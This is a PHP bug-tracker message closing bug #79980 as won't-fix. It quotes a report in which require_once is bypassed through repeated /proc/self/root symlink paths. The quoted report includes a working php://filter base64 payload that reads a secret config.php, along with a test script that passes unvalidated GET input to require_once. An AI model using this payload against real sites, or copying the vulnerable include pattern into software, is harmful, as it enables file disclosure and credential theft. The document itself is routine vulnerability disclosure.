Bug #79980 [Opn->Wfx]: require_once can include a file twice via symlink loops

From: Date: Tue, 09 Mar 2021 14:26:19 +0000
Subject: Bug #79980 [Opn->Wfx]: require_once can include a file twice via symlink loops
References: 1  Groups: php.bugs 
Request: Send a blank email to php-bugs+get-232640@lists.php.net to get a copy of this message
Edit report at https://bugs.php.net/bug.php?id=79980&edit=1

 ID:                 79980
 Updated by:         cmb@php.net
 Reported by:        i at littlefisher dot me
 Summary:            require_once can include a file twice via symlink
                     loops
-Status:             Open
+Status:             Wont fix
 Type:               Bug
 Package:            *Directory/Filesystem functions
 Operating System:   Ubuntu18.04
 PHP Version:        7.2.33
-Assigned To:        
+Assigned To:        cmb
 Block user comment: N
 Private report:     N

 New Comment:

Whenever a path is resolved, symlinks are followed up to LINK_MAX
(currently 32) to avoid infinite loops.  If this limit is exceeded
(as is obviously the case here), the path resolution fails, so
require_once actually works like require.

However, passing unvalidated user input to require/include (or
any other function which accepts stream wrapper URLs) is a *serious*
programming error.  Thus, no action is needed from us.


Previous Comments:
------------------------------------------------------------------------
[2020-08-16 05:18:29] i at littlefisher dot me

Description:
------------
Normally, when we include a file via require_once() which has included before, PHP will
prevent this behavior.

But when we set the file path to a symbol link, PHP will be fooled. An example in Test script as
follows can demonstrate it. And assume there is some secret in config.php.

We can pass our payload to content query parameter, and then the PHP will resolve the
file path to '/proc/24273/root/proc/self/root/var/www/html/config.php'.

Eventually, the require_once bypassed. We got the base64-encoded content of
config.php.

Payload:

php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/config.php

Test script:
---------------
/* index.php */
<?php
error_reporting(E_ALL);
require_once('config.php');
highlight_file(__FILE__);
if(isset($_GET['content'])) {
    $content = $_GET['content'];
    require_once($content);
} 
/* config.php */
<?php
$MYSQL_HOST = '127.0.0.1';
$MYSQL_PORT = 3306;
$MYSQL_USERNAME = 'admin';
$MYSQL_PASSWORD = 'admin';

Expected result:
----------------
Excepted result is config.php cannot be included twice by the recursive symbollink.



------------------------------------------------------------------------



--
Edit this bug report at https://bugs.php.net/bug.php?id=79980&edit=1


Thread (2 messages)

« previous php.bugs (#232640) next »